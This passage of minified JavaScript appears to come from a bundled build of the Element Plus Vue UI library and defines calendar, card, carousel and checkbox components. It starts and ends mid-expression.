m=e.date.startOf("month").day(),g=A_(e.date,(m-n+7)%7).map(M=>({text:M,type:"prev"})),v=M_(e.date).map(M=>({text:M,type:"current"}));p=[...g,...v];const I=7-(p.length%7||7),q=la(I).map((M,E)=>({text:E+1,type:"next"}));p=p.concat(q)}return C_(p)}),l=N(()=>{const p=n;return p===0?n0.map(m=>r(`el.datepicker.weeks.${m}`)):n0.slice(p).concat(n0.slice(0,p)).map(m=>r(`el.datepicker.weeks.${m}`))}),u=(p,m)=>{switch(m){case"prev":return e.date.startOf("month").subtract(1,"month").date(p);case"next":return e.date.startOf("month").add(1,"month").date(p);case"current":return e.date.date(p)}};return{now:i,isInRange:s,rows:a,weekDays:l,getFormattedDate:u,handlePickDay:({text:p,type:m})=>{const g=u(p,m);t("pick",g)},getSlotData:({text:p,type:m})=>{const g=u(p,m);return{isSelected:g.isSame(e.selectedDay),type:`${m}-month`,day:g.format("YYYY-MM-DD"),date:g.toDate()}}}},K_={key:0},R_=["onClick"],L_=ie({name:"DateTable"}),Z_=ie({...L_,props:k_,emits:x_,setup(e,{expose:t,emit:n}){const r=e,{isInRange:o,now:i,rows:s,weekDays:a,getFormattedDate:l,handlePickDay:u,getSlotData:c}=z_(r,n),f=Oe("calendar-table"),p=Oe("calendar-day"),m=({text:g,type:v})=>{const I=[v];if(v==="current"){const q=l(g,v);q.isSame(r.selectedDay,"day")&&I.push(p.is("selected")),q.isSame(i,"day")&&I.push(p.is("today"))}return I};return t({getFormattedDate:l}),(g,v)=>(B(),_("table",{class:F([d(f).b(),d(f).is("range",d(o))]),cellspacing:"0",cellpadding:"0"},[g.hideHeader?pe("v-if",!0):(B(),_("thead",K_,[(B(!0),_(Qe,null,Lt(d(a),I=>(B(),_("th",{key:I},We(I),1))),128))])),ne("tbody",null,[(B(!0),_(Qe,null,Lt(d(s),(I,q)=>(B(),_("tr",{key:q,class:F({[d(f).e("row")]:!0,[d(f).em("row","hide-border")]:q===0&&g.hideHeader})},[(B(!0),_(Qe,null,Lt(I,(M,E)=>(B(),_("td",{key:E,class:F(m(M)),onClick:x=>d(u)(M)},[ne("div",{class:F(d(p).b())},[qe(g.$slots,"date-cell",{data:d(c)(M)},()=>[ne("span",null,We(M.text),1)])],2)],10,R_))),128))],2))),128))])],2))}});var X2=Ye(Z_,[["__file","date-table.vue"]]);const T_=(e,t)=>{const n=e.endOf("month"),r=t.startOf("month"),i=n.isSame(r,"week")?r.add(1,"week"):r;return[[e,n],[i.startOf("week"),t]]},N_=(e,t)=>{const n=e.endOf("month"),r=e.add(1,"month").startOf("month"),o=n.isSame(r,"week")?r.add(1,"week"):r,i=o.endOf("month"),s=t.startOf("month"),a=i.isSame(s,"week")?s.add(1,"week"):s;return[[e,n],[o.startOf("week"),i],[a.startOf("week"),t]]},j_=(e,t,n)=>{const{lang:r}=Vt(),o=D(),i=yt().locale(r.value),s=N({get(){return e.modelValue?l.value:o.value},set(I){if(!I)return;o.value=I;const q=I.toDate();t(Qr,q),t(St,q)}}),a=N(()=>{if(!e.range)return[];const I=e.range.map(E=>yt(E).locale(r.value)),[q,M]=I;return q.isAfter(M)?[]:q.isSame(M,"month")?m(q,M):q.add(1,"month").month()!==M.month()?[]:m(q,M)}),l=N(()=>e.modelValue?yt(e.modelValue).locale(r.value):s.value||(a.value.length?a.value[0][0]:i)),u=N(()=>l.value.subtract(1,"month").date(1)),c=N(()=>l.value.add(1,"month").date(1)),f=N(()=>l.value.subtract(1,"year").date(1)),p=N(()=>l.value.add(1,"year").date(1)),m=(I,q)=>{const M=I.startOf("week"),E=q.endOf("week"),x=M.get("month"),R=E.get("month");return x===R?[[M,E]]:(x+1)%12===R?T_(M,E):x+2===R||(x+1)%11===R?N_(M,E):[]},g=I=>{s.value=I};return{calculateValidatedDateRange:m,date:l,realSelectedDay:s,pickDay:g,selectDate:I=>{const M={"prev-month":u.value,"next-month":c.value,"prev-year":f.value,"next-year":p.value,today:i}[I];M.isSame(l.value,"day")||g(M)},validatedRange:a}},W_=e=>Ve(e)&&e.length===2&&e.every(t=>bl(t)),G_=Ge({modelValue:{type:Date},range:{type:he(Array),validator:W_}}),Y_={[St]:e=>bl(e),[Qr]:e=>bl(e)},B_="ElCalendar",J_=ie({name:B_}),V_=ie({...J_,props:G_,emits:Y_,setup(e,{expose:t,emit:n}){const r=e,o=Oe("calendar"),{calculateValidatedDateRange:i,date:s,pickDay:a,realSelectedDay:l,selectDate:u,validatedRange:c}=j_(r,n),{t:f}=Vt(),p=N(()=>{const m=`el.datepicker.month${s.value.format("M")}`;return`${s.value.year()} ${f("el.datepicker.year")} ${f(m)}`});return t({selectedDay:l,pickDay:a,selectDate:u,calculateValidatedDateRange:i}),(m,g)=>(B(),_("div",{class:F(d(o).b())},[ne("div",{class:F(d(o).e("header"))},[qe(m.$slots,"header",{date:d(p)},()=>[ne("div",{class:F(d(o).e("title"))},We(d(p)),3),d(c).length===0?(B(),_("div",{key:0,class:F(d(o).e("button-group"))},[ae(d(ok),null,{default:fe(()=>[ae(d(dr),{size:"small",onClick:g[0]||(g[0]=v=>d(u)("prev-month"))},{default:fe(()=>[Kt(We(d(f)("el.datepicker.prevMonth")),1)]),_:1}),ae(d(dr),{size:"small",onClick:g[1]||(g[1]=v=>d(u)("today"))},{default:fe(()=>[Kt(We(d(f)("el.datepicker.today")),1)]),_:1}),ae(d(dr),{size:"small",onClick:g[2]||(g[2]=v=>d(u)("next-month"))},{default:fe(()=>[Kt(We(d(f)("el.datepicker.nextMonth")),1)]),_:1})]),_:1})],2)):pe("v-if",!0)])],2),d(c).length===0?(B(),_("div",{key:0,class:F(d(o).e("body"))},[ae(X2,{date:d(s),"selected-day":d(l),onPick:d(a)},ms({_:2},[m.$slots["date-cell"]?{name:"date-cell",fn:fe(v=>[qe(m.$slots,"date-cell",or(kr(v)))])}:void 0]),1032,["date","selected-day","onPick"])],2)):(B(),_("div",{key:1,class:F(d(o).e("body"))},[(B(!0),_(Qe,null,Lt(d(c),(v,I)=>(B(),ye(X2,{key:I,date:v[0],"selected-day":d(l),range:v,"hide-header":I!==0,onPick:d(a)},ms({_:2},[m.$slots["date-cell"]?{name:"date-cell",fn:fe(q=>[qe(m.$slots,"date-cell",or(kr(q)))])}:void 0]),1032,["date","selected-day","range","hide-header","onPick"]))),128))],2))],2))}});var U_=Ye(V_,[["__file","calendar.vue"]]);const F_=It(U_),H_=Ge({header:{type:String,default:""},footer:{type:String,default:""},bodyStyle:{type:he([String,Object,Array]),default:""},bodyClass:String,shadow:{type:String,values:["always","hover","never"],default:"always"}}),P_=ie({name:"ElCard"}),D_=ie({...P_,props:H_,setup(e){const t=Oe("card");return(n,r)=>(B(),_("div",{class:F([d(t).b(),d(t).is(`${n.shadow}-shadow`)])},[n.$slots.header||n.header?(B(),_("div",{key:0,class:F(d(t).e("header"))},[qe(n.$slots,"header",{},()=>[Kt(We(n.header),1)])],2)):pe("v-if",!0),ne("div",{class:F([d(t).e("body"),n.bodyClass]),style:De(n.bodyStyle)},[qe(n.$slots,"default")],6),n.$slots.footer||n.footer?(B(),_("div",{key:1,class:F(d(t).e("footer"))},[qe(n.$slots,"footer",{},()=>[Kt(We(n.footer),1)])],2)):pe("v-if",!0)],2))}});var X_=Ye(D_,[["__file","card.vue"]]);const Q_=It(X_),__=Ge({initialIndex:{type:Number,default:0},height:{type:String,default:""},trigger:{type:String,values:["hover","click"],default:"hover"},autoplay:{type:Boolean,default:!0},interval:{type:Number,default:3e3},indicatorPosition:{type:String,values:["","none","outside"],default:""},arrow:{type:String,values:["always","hover","never"],default:"hover"},type:{type:String,values:["","card"],default:""},loop:{type:Boolean,default:!0},direction:{type:String,values:["horizontal","vertical"],default:"horizontal"},pauseOnHover:{type:Boolean,default:!0},motionBlur:{type:Boolean,default:!1}}),$_={change:(e,t)=>[e,t].every(nt)},Ak=Symbol("carouselContextKey"),Q2=300,e$=(e,t,n)=>{const{children:r,addChild:o,removeChild:i}=iI(bt(),"ElCarouselItem"),s=pr(),a=D(-1),l=D(null),u=D(!1),c=D(),f=D(0),p=D(!0),m=D(!0),g=D(!1),v=N(()=>e.arrow!=="never"&&!d(M)),I=N(()=>r.value.some(re=>re.props.label.toString().length>0)),q=N(()=>e.type==="card"),M=N(()=>e.direction==="vertical"),E=N(()=>e.height!=="auto"?{height:e.height}:{height:`${f.value}px`,overflow:"hidden"}),x=pl(re=>{P(re)},Q2,{trailing:!0}),R=pl(re=>{S(re)},Q2),K=re=>p.value?a.value<=1?re<=1:re>1:!0;function W(){l.value&&(clearInterval(l.value),l.value=null)}function j(){e.interval<=0||!e.autoplay||l.value||(l.value=setInterval(()=>H(),e.interval))}const H=()=>{m.value||(g.value=!0),m.value=!1,a.value<r.value.length-1?a.value=a.value+1:e.loop&&(a.value=0)};function P(re){if(m.value||(g.value=!0),m.value=!1,st(re)){const we=r.value.filter(Ie=>Ie.props.name===re);we.length>0&&(re=r.value.indexOf(we[0]))}if(re=Number(re),Number.isNaN(re)||re!==Math.floor(re))return;const de=r.value.length,ce=a.value;re<0?a.value=e.loop?de-1:0:re>=de?a.value=e.loop?0:de-1:a.value=re,ce===a.value&&U(ce),y()}function U(re){r.value.forEach((de,ce)=>{de.translateItem(ce,a.value,re)})}function X(re,de){var ce,we,Ie,ge;const Me=d(r),se=Me.length;if(se===0||!re.states.inStage)return!1;const ue=de+1,ve=de-1,ke=se-1,me=Me[ke].states.active,Ee=Me[0].states.active,Le=(we=(ce=Me[ue])==null?void 0:ce.states)==null?void 0:we.active,Ae=(ge=(Ie=Me[ve])==null?void 0:Ie.states)==null?void 0:ge.active;return de===ke&&Ee||Le?"left":de===0&&me||Ae?"right":!1}function L(){u.value=!0,e.pauseOnHover&&W()}function h(){u.value=!1,j()}function b(){g.value=!1}function w(re){d(M)||r.value.forEach((de,ce)=>{re===X(de,ce)&&(de.states.hover=!0)})}function A(){d(M)||r.value.forEach(re=>{re.states.hover=!1})}function C(re){re!==a.value&&(m.value||(g.value=!0)),a.value=re}function S(re){e.trigger==="hover"&&re!==a.value&&(a.value=re,m.value||(g.value=!0))}function z(){P(a.value-1)}function k(){P(a.value+1)}function y(){W(),e.pauseOnHover||j()}function T(re){e.height==="auto"&&(f.value=re)}function te(){var re;const de=(re=s.default)==null?void 0:re.call(s);if(!de)return null;const ce=sa(de),we="ElCarouselItem",Ie=ce.filter(ge=>En(ge)&&ge.type.name===we);return(Ie==null?void 0:Ie.length)===2&&e.loop&&!q.value?(p.value=!0,Ie):(p.value=!1,null)}Ce(()=>a.value,(re,de)=>{U(de),p.value&&(re=re%2,de=de%2),de>-1&&t("change",re,de)}),Ce(()=>e.autoplay,re=>{re?j():W()}),Ce(()=>e.loop,()=>{P(a.value)}),Ce(()=>e.interval,()=>{y()});const le=ln();return mt(()=>{Ce(()=>r.value,()=>{r.value.length>0&&P(e.initialIndex)},{immediate:!0}),le.value=On(c.value,()=>{U()}),j()}),vn(()=>{W(),c.value&&le.value&&le.value.stop()}),Ot(Ak,{root:c,isCardType:q,isVertical:M,items:r,loop:e.loop,addItem:o,removeItem:i,setActiveItem:P,setContainerHeight:T}),{root:c,activeIndex:a,arrowDisplay:v,hasLabel:I,hover:u,isCardType:q,isTransitioning:g,items:r,isVertical:M,containerStyle:E,isItemsTwoLength:p,handleButtonEnter:w,handleTransitionEnd:b,handleButtonLeave:A,handleIndicatorClick:C,handleMouseEnter:L,handleMouseLeave:h,setActiveItem:P,prev:z,next:k,PlaceholderItem:te,isTwoLengthShow:K,throttledArrowClick:x,throttledIndicatorHover:R}},t$=["aria-label"],n$=["aria-label"],r$=["onMouseenter","onClick"],o$=["aria-label"],i$={key:0},s$={key:3,xmlns:"http://www.w3.org/2000/svg",version:"1.1",style:{display:"none"}},a$=ne("defs",null,[ne("filter",{id:"elCarouselHorizontal"},[ne("feGaussianBlur",{in:"SourceGraphic",stdDeviation:"12,0"})]),ne("filter",{id:"elCarouselVertical"},[ne("feGaussianBlur",{in:"SourceGraphic",stdDeviation:"0,10"})])],-1),l$=[a$],u$="ElCarousel",c$=ie({name:u$}),d$=ie({...c$,props:__,emits:$_,setup(e,{expose:t,emit:n}){const r=e,{root:o,activeIndex:i,arrowDisplay:s,hasLabel:a,hover:l,isCardType:u,items:c,isVertical:f,containerStyle:p,handleButtonEnter:m,handleButtonLeave:g,isTransitioning:v,handleIndicatorClick:I,handleMouseEnter:q,handleMouseLeave:M,handleTransitionEnd:E,setActiveItem:x,prev:R,next:K,PlaceholderItem:W,isTwoLengthShow:j,throttledArrowClick:H,throttledIndicatorHover:P}=e$(r,n),U=Oe("carousel"),{t:X}=Vt(),L=N(()=>{const w=[U.b(),U.m(r.direction)];return d(u)&&w.push(U.m("card")),w}),h=N(()=>{const w=[U.e("container")];return r.motionBlur&&d(v)&&w.push(d(f)?`${U.namespace.value}-transitioning-vertical`:`${U.namespace.value}-transitioning`),w}),b=N(()=>{const w=[U.e("indicators"),U.em("indicators",r.direction)];return d(a)&&w.push(U.em("indicators","labels")),r.indicatorPosition==="outside"&&w.push(U.em("indicators","outside")),d(f)&&w.push(U.em("indicators","right")),w});return t({setActiveItem:x,prev:R,next:K}),(w,A)=>(B(),_("div",{ref_key:"root",ref:o,class:F(d(L)),onMouseenter:A[7]||(A[7]=rt((...C)=>d(q)&&d(q)(...C),["stop"])),onMouseleave:A[8]||(A[8]=rt((...C)=>d(M)&&d(M)(...C),["stop"]))},[d(s)?(B(),ye(Hn,{key:0,name:"carousel-arrow-left",persisted:""},{default:fe(()=>[ft(ne("button",{type:"button",class:F([d(U).e("arrow"),d(U).em("arrow","left")]),"aria-label":d(X)("el.carousel.leftArrow"),onMouseenter:A[0]||(A[0]=C=>d(m)("left")),onMouseleave:A[1]||(A[1]=(...C)=>d(g)&&d(g)(...C)),onClick:A[2]||(A[2]=rt(C=>d(H)(d(i)-1),["stop"]))},[ae(d(Pe),null,{default:fe(()=>[ae(d(va))]),_:1})],42,t$),[[_t,(w.arrow==="always"||d(l))&&(r.loop||d(i)>0)]])]),_:1})):pe("v-if",!0),d(s)?(B(),ye(Hn,{key:1,name:"carousel-arrow-right",persisted:""},{default:fe(()=>[ft(ne("button",{type:"button",class:F([d(U).e("arrow"),d(U).em("arrow","right")]),"aria-label":d(X)("el.carousel.rightArrow"),onMouseenter:A[3]||(A[3]=C=>d(m)("right")),onMouseleave:A[4]||(A[4]=(...C)=>d(g)&&d(g)(...C)),onClick:A[5]||(A[5]=rt(C=>d(H)(d(i)+1),["stop"]))},[ae(d(Pe),null,{default:fe(()=>[ae(d(Xr))]),_:1})],42,n$),[[_t,(w.arrow==="always"||d(l))&&(r.loop||d(i)<d(c).length-1)]])]),_:1})):pe("v-if",!0),ne("div",{class:F(d(h)),style:De(d(p)),onTransitionend:A[6]||(A[6]=(...C)=>d(E)&&d(E)(...C))},[ae(d(W)),qe(w.$slots,"default")],38),w.indicatorPosition!=="none"?(B(),_("ul",{key:2,class:F(d(b))},[(B(!0),_(Qe,null,Lt(d(c),(C,S)=>ft((B(),_("li",{key:S,class:F([d(U).e("indicator"),d(U).em("indicator",w.direction),d(U).is("active",S===d(i))]),onMouseenter:z=>d(P)(S),onClick:rt(z=>d(I)(S),["stop"])},[ne("button",{class:F(d(U).e("button")),"aria-label":d(X)("el.carousel.indicator",{index:S+1})},[d(a)?(B(),_("span",i$,We(C.props.label),1)):pe("v-if",!0)],10,o$)],42,r$)),[[_t,d(j)(S)]])),128))],2)):pe("v-if",!0),r.motionBlur?(B(),_("svg",s$,l$)):pe("v-if",!0)],34))}});var f$=Ye(d$,[["__file","carousel.vue"]]);const h$=Ge({name:{type:String,default:""},label:{type:[String,Number],default:""}}),p$=(e,t)=>{const n=Fe(Ak),r=bt(),o=.83,i=D(),s=D(!1),a=D(0),l=D(1),u=D(!1),c=D(!1),f=D(!1),p=D(!1),{isCardType:m,isVertical:g}=n;function v(x,R,K){const W=K-1,j=R-1,H=R+1,P=K/2;return R===0&&x===W?-1:R===W&&x===0?K:x<j&&R-x>=P?K+1:x>H&&x-R>=P?-2:x}function I(x,R){var K,W;const j=d(g)?((K=n.root.value)==null?void 0:K.offsetHeight)||0:((W=n.root.value)==null?void 0:W.offsetWidth)||0;return f.value?j*((2-o)*(x-R)+1)/4:x<R?-(1+o)*j/4:(3+o)*j/4}function q(x,R,K){const W=n.root.value;return W?((K?W.offsetHeight:W.offsetWidth)||0)*(x-R):0}const M=(x,R,K)=>{var W;const j=d(m),H=(W=n.items.value.length)!=null?W:Number.NaN,P=x===R;!j&&!Vn(K)&&(p.value=P||x===K),!P&&H>2&&n.loop&&(x=v(x,R,H));const U=d(g);u.value=P,j?(f.value=Math.round(Math.abs(x-R))<=1,a.value=I(x,R),l.value=d(u)?1:o):a.value=q(x,R,U),c.value=!0,P&&i.value&&n.setContainerHeight(i.value.offsetHeight)};function E(){if(n&&d(m)){const x=n.items.value.findIndex(({uid:R})=>R===r.uid);n.setActiveItem(x)}}return mt(()=>{n.addItem({props:e,states:$t({hover:s,translate:a,scale:l,active:u,ready:c,inStage:f,animating:p}),uid:r.uid,translateItem:M})}),Ia(()=>{n.removeItem(r.uid)}),{carouselItemRef:i,active:u,animating:p,hover:s,inStage:f,isVertical:g,translate:a,isCardType:m,scale:l,ready:c,handleItemClick:E}},m$=ie({name:"ElCarouselItem"}),v$=ie({...m$,props:h$,setup(e){const t=e,n=Oe("carousel"),{carouselItemRef:r,active:o,animating:i,hover:s,inStage:a,isVertical:l,translate:u,isCardType:c,scale:f,ready:p,handleItemClick:m}=p$(t),g=N(()=>[n.e("item"),n.is("active",o.value),n.is("in-stage",a.value),n.is("hover",s.value),n.is("animating",i.value),{[n.em("item","card")]:c.value,[n.em("item","card-vertical")]:c.value&&l.value}]),v=N(()=>{const q=`${`translate${d(l)?"Y":"X"}`}(${d(u)}px)`,M=`scale(${d(f)})`;return{transform:[q,M].join(" ")}});return(I,q)=>ft((B(),_("div",{ref_key:"carouselItemRef",ref:r,class:F(d(g)),style:De(d(v)),onClick:q[0]||(q[0]=(...M)=>d(m)&&d(m)(...M))},[d(c)?ft((B(),_("div",{key:0,class:F(d(n).e("mask"))},null,2)),[[_t,!d(o)]]):pe("v-if",!0),qe(I.$slots,"default")],6)),[[_t,d(p)]])}});var Mk=Ye(v$,[["__file","carousel-item.vue"]]);const g$=It(f$,{CarouselItem:Mk}),y$=kn(Mk),Ck={modelValue:{type:[Number,String,Boolean],default:void 0},label:{type:[String,Boolean,Number,Object],default:void 0},value:{type:[String,Boolean,Number,Object],default:void 0},indeterminate:Boolean,disabled:Boolean,checked:Boolean,name:{type:String,default:void 0},trueValue:{type:[String,Number],default:void 0},falseValue:{type:[String,Number],default:void 0},trueLabel:{type:[String,Number],default:void 0},falseLabel:{type:[String,Number],default:void 0},id:{type:String,default:void 0},controls:{type:String,default:void 0},border:Boolean,size:fr,tabindex:[String,Number],validateEvent:{type:Boolean,default:!0}},kk={[St]:e=>st(e)||nt(e)||Un(e),change:e=>st(e)||nt(e)||Un(e)},Sc=Symbol("checkboxGroupContextKey"),b$=({model:e,isChecked:t})=>{const n=Fe(Sc,void 0),r=N(()=>{var i,s;const a=(i=n==null?void 0:n.max)==null?void 0:i.value,l=(s=n==null?void 0:n.min)==null?void 0:s.value;return!Vn(a)&&e.value.length>=a&&!t.value||!Vn(l)&&e.value.length<=l&&t.value});return{isDisabled:fo(N(()=>(n==null?void 0:n.disabled.value)||r.value)),isLimitDisabled:r}},I$=(e,{model:t,isLimitExceeded:n,hasOwnLabel:r,isDisabled:o,isLabeledByFormItem:i})=>{const s=Fe(Sc,void 0),{formItem:a}=eo(),{emit:l}=bt();function u(g){var v,I,q,M;return[!0,e.trueValue,e.trueLabel].includes(g)?(I=(v=e.trueValue)!=null?v:e.trueLabel)!=null?I:!0:(M=(q=e.falseValue)!=null?q:e.falseLabel)!=null?M:!1}function c(g,v){l("change",u(g),v)}function f(g){if(n.value)return;const v=g.target;l("change",u(v.checked),g)}async function p(g){n.value||!r.value&&!o.value&&i.value&&(g.composedPath().some(q=>q.tagName==="LABEL")||(t.value=u([!1,e.falseValue,e.falseLabel].includes(t.value)),await $e(),c(t.value,g)))}const m=N(()=>(s==null?void 0:s.validateEvent)||e.validateEvent);return Ce(()=>e.modelValue,()=>{m.value&&(a==null||a.validate("change").catch(g=>void 0))}),{handleChange:f,onClickRoot:p}},q$=e=>{const t=D(!1),{emit:n}=bt(),r=Fe(Sc,void 0),o=N(()=>Vn(r)===!1),i=D(!1),s=N({get(){var a,l;return o.value?(a=r==null?void 0:r.modelValue)==null?void 0:a.value:(l=e.modelValue)!=null?l:t.value},set(a){var l,u;o.value&&Ve(a)?(i.value=((l=r==null?void 0:r.max)==null?void 0:l.value)!==void 0&&a.length>(r==null?void 0:r.max.value)&&a.length>s.value.length,i.value===!1&&((u=r==null?void 0:r.changeEvent)==null||u.call(r,a))):(n(St,a),t.value=a)}});return{model:s,isGroup:o,isLimitExceeded:i}},w$=(e,t,{model:n})=>{const r=Fe(Sc,void 0),o=D(!1),i=N(()=>Cl(e.value)?e.label:e.value),s=N(()=>{const c=n.value;return Un(c)?c:Ve(c)?At(i.value)?c.map(rn).some(f=>Yr(f,i.value)):c.map(rn).includes(i.value):c!=null?c===e.trueValue||c===e.trueLabel:!!c}),a=nr(N(()=>{var c;return(c=r==null?void 0:r.size)==null?void 0:c.value}),{prop:!0}),l=nr(N(()=>{var c;return(c=r==null?void 0:r.size)==null?void 0:c.value})),u=N(()=>!!t.default||!Cl(i.value));return{checkboxButtonSize:a,isChecked:s,isFocused:o,checkboxSize:l,hasOwnLabel:u,actualValue:i}},xk=(e,t)=>{const{formItem:n}=eo(),{model:r,isGroup:o,isLimitExceeded:i}=q$(e),{isFocused:s,isChecked:a,checkboxButtonSize:l,checkboxSize:u,hasOwnLabel:c,actualValue:f}=w$(e,t,{model:r}),{isDisabled:p}=b$({model:r,isChecked:a}),{inputId:m,isLabeledByFormItem:g}=Fi(e,{formItemContext:n,disableIdGeneration:c,disableIdManagement:o}),{handleChange:v,onClickRoot:I}=I$(e,{model:r,isLimitExceeded:i,hasOwnLabel:c,isDisabled:p,isLabeledByFormItem:g});return(()=>{function M(){var E,x;Ve(r.value)&&!r.value.includes(f.value)?r.value.push(f.value):r.value=(x=(E=e.trueValue)!=null?E:e.trueLabel)!=null?x:!0}e.checked&&M()})(),ml({from:"label act as value",replacement:"value",version:"3.0.0",scope:"el-checkbox",ref:"https://element-plus.org/en-US/component/checkbox.html"},N(()=>o.value&&Cl(e.value))),ml({from:"true-label",replacement:"true-value",version:"3.0.0",scope:"el-checkbox",ref:"https://element-plus.org/en-US/component/checkbox.html"},N(()=>!!e.trueLabel)),ml({from:"false-label",replacement:"false-value",version:"3.0.0",scope:"el-checkbox",ref:"https://element-plus.org/en-US/component/checkbox.html"},N(()=>!!e.falseLabel)),{inputId:m,isLabeledByFormItem:g,isChecked:a,isDisabled:p,isFocused:s,checkboxButtonSize:l,checkboxSize:u,hasOwnLabel:c,model:r,actualValue:f,handleChange:v,onClickRoot:I}},S$=["id","indeterminate","name","tabindex","disabled","true-value","false-value"],E$=["id","indeterminate","disabled","value","name","tabindex"],A$=ie({name:"ElCheckbox"}),M$=ie({...A$,props:Ck,emits:kk,setup(e){const t=e,n=pr(),{inputId:r,isLabeledByFormItem:o,isChecked:i,isDisabled:s,isFocused:a,checkboxSize:l,hasOwnLabel:u,model:c,actualValue:f,handleChange:p,onClickRoot:m}=xk(t,n),g=Oe("checkbox"),v=N(()=>[g.b(),g.m(l.value),g.is("disabled",s.value),g.is("bordered",t.border),g.is("checked",i.value)]),I=N(()=>[g.e("input"),g.is("disabled",s.value),g.is("checked",i.value),g.is("indeterminate",t.indeterminate),g.is("focus",a.value)]);return(q,M)=>(B(),ye(Et(!d(u)&&d(o)?"span":"label"),{class:F(d(v)),"aria-controls":q.indeterminate?q.controls:null,onClick:d(m)},{default:fe(()=>{var E,x;return[ne("span",{class:F(d(I))},[q.trueValue||q.falseValue||q.trueLabel||q.falseLabel?ft((B(),_("input",{key:0,id:d(r),"onUpdate:modelValue":M[0]||(M[0]=R=>mn(c)?c.value=R:null),class:F(d(g).e("original")),type:"checkbox",indeterminate:q.indeterminate,name:q.name,tabindex:q.tabindex,disabled:d(s),"true-value":(E=q.trueValue)!=null?E:q.trueLabel,"false-value":(x=q.falseValue)!=null?x:q.falseLabel,onChange:M[1]||(M[1]=(...R)=>d(p)&&d(p)(...R)),onFocus:M[2]||(M[2]=R=>a.value=!0),onBlur:M[3]||(M[3]=R=>a.value=!1),onClick:M[4]||(M[4]=rt(()=>{},["stop"]))},null,42,S$)),[[fp,d(c)]]):ft((B(),_("input",{key:1,id:d(r),"onUpdate:modelValue":M[5]||(M[5]=R=>mn(c)?c.value=R:null),class:F(d(g).e("original")),type:"checkbox",indeterminate:q.indeterminate,disabled:d(s),value:d(f),name:q.name,tabindex:q.tabindex,onChange:M[6]||(M[6]=(...R)=>d(p)&&d(p)(...R)),onFocus:M[7]||(M[7]=R=>a.value=!0),onBlur:M[8]||(M[8]=R=>a.value=!1),onClick:M[9]||(M[9]=rt(()=>{},["stop"]))},null,42,E$)),[[fp,d(c)]]),ne("span",{class:F(d(g).e("inner"))},null,2)],2),d(u)?(B(),_("span",{key:0,class:F(d(g).e("label"))},[qe(q.$slots,"default"),q.$slots.default?pe("v-if",!0):(B(),_(Qe,{key:0},[Kt(We(q.label),1)],64))],2)):pe("v-if",!0)]}),_:3},8,["class","aria-controls","onClick"]))}});var C$=Ye(M$,[["__file","checkbox.vue"]]);const k$=["name","tabindex","disabled","true-value","false-value"],x$=["name","tabindex","disabled","value"],O$=ie({name:"ElCheckboxButton"}),z$=ie({...O$,props:Ck,emits:kk,setup(e){const t=e,n=pr(),{isFocused:r,isChecked:o,isDisabled:i,checkboxButtonSize:s,model:a,actualValue:l,handleChange:u}=xk(t,n),c=Fe(Sc,void 0),f=Oe("checkbox"),p=N(()=>{var g,v,I,q;const M=(v=(g=c==null?void 0:c.fill)==null?void 0:g.value)!=null?v:"";return{backgroundColor:M,borderColor:M,color:(q=(I=c==null?void 0:c.textColor)==null?void 0:I.value)!=null?q:"",boxShadow:M?`-1px 0 0 0 ${M}`:void 0}}),m=N(()=>[f.b("button"),f.bm("button",s.value),f.is("disabled",i.value),f.is("checked",o.value),f.is("focus",r.value)]);return(g,v)=>{var I,q;return B(),_("label",{class:F(d(m))},[g.trueValue||g.falseValue||g.trueLabel||g.falseLabel?ft((B(),_("input",{key:0,"onUpdate:modelValue":v[0]||(v[0]=M=>mn(a)?a.value=M:null),class:F(d(f).be("button","original")),type:"checkbox",name:g.name,tabindex:g.tabindex,disabled:d(i),"true-value":(I=g.trueValue)!=null?I:g.trueLabel,"false-value":(q=g.falseValue)!=null?q:g.falseLabel,onChange:v[1]||(v[1]=(...M)=>d(u)&&d(u)(...M)),onFocus:v[2]||(v[2]=M=>r.value=!0),onBlur:v[3]||(v[3]=M=>r.value=!1),onClick:v[4]||(v[4]=rt(()=>{},["stop"]))},null,42,k$)),[[fp,d(a)]]):ft((B(),_("input",{key:1,"onUpdate:modelValue":v[5]||(v[5]=M=>mn(a)?a.value=M:null),class:F(d(f).be("button","original")),type:"checkbox",name:g.name,tabindex:g.tabindex,disabled:d(i),value:d(l),onChange:v[6]||(v[6]=(...M)=>d(u)&&d(u)(...M)),onFocus:v[7]||(v[7]=M=>r.value=!0),onBlur:v[8]||(v[8]=M=>r.value=!1),onClick:v[9]||(v[9]=rt(()=>{},["stop"]))},null,42,x$)),[[fp,d(a)]]),g.$slots.default||g.label?(B(),_("span",{key:2,class:F(d(f).be("button","inner")),style:De(d(o)?d(p):void 0)},[qe(g.$slots,"default",{},()=>[Kt(We(g.label),1)])],6)):pe("v-if",!0)],2)}}});var Ok=Ye(z$,[["__file","checkbox-button.vue"]]);const K$=Ge({modelValue:{type:he(Array),default:()=>[]},disabled:Boolean,min:Number,max:Number,size:fr,label:String,fill:String,textColor:String,tag:{type:String,default:"div"},validateEvent:{type:Boolean,default:!0}}),R$={[St]:e=>Ve(e),change:e=>Ve(e)},L$=ie({name:"ElCheckboxGroup"}),Z$=ie({...L$,props:K$,emits:R$,setup(e,{emit:t}){const n=e,r=Oe("checkbox"),{formItem:o}=eo(),{inputId:i,isLabeledByFormItem:s}=Fi(n,{formItemContext:o}),a=async u=>{t(St,u),await $e(),t("change",u)},l=N({get(){return n.modelValue},set(u){a(u)}});return Ot(Sc,{...cs(Fn(n),["size","min","max","disabled","validateEvent","fill","textColor"]),modelValue:l,changeEvent:a}),Ce(()=>n.modelValue,()=>{n.validateEvent&&(o==null||o.validate("change").catch(u=>void 0))}),(u,c)=>{var f;return B(),ye(Et(u.tag),{id:d(i),class:F(d(r).b("group")),role:"group","aria-label":d(s)?void 0:u.label||"checkbox-group","aria-labelledby":d(s)?(f=d(o))==null?void 0:f.labelId:void 0},{default:fe(()=>[qe(u.$slots,"default")]),_:3},8,["id","class","aria-label","aria-labelledby"])}}});var zk=Ye(Z$,[["__file","checkbox-group.vue"]]);const Do=It(C$,{CheckboxButton:Ok,CheckboxGroup:zk}),T$=kn(Ok),Kk=kn(zk),Rk=Ge({modelValue:{type:[String,Number,Boolean],default:void 0},size:fr,disabled:Boolean,label:{type:[String,Number,Boolean],default:void 0},value:{type:[String,Number,Boolean],default:void 0},name:{type:String,default:void 0}}),N$=Ge({...Rk,border:Boolean}),Lk={[St]:e=>st(e)||nt(e)||Un(e),[qn]:e=>st(e)||nt(e)||Un(e)},Zk=Symbol("radioGroupKey"),Tk=(e,t)=>{const n=D(),r=Fe(Zk,void 0),o=N(()=>!!r),i=N(()=>Cl(e.value)?e.label:e.value),s=N({get(){return 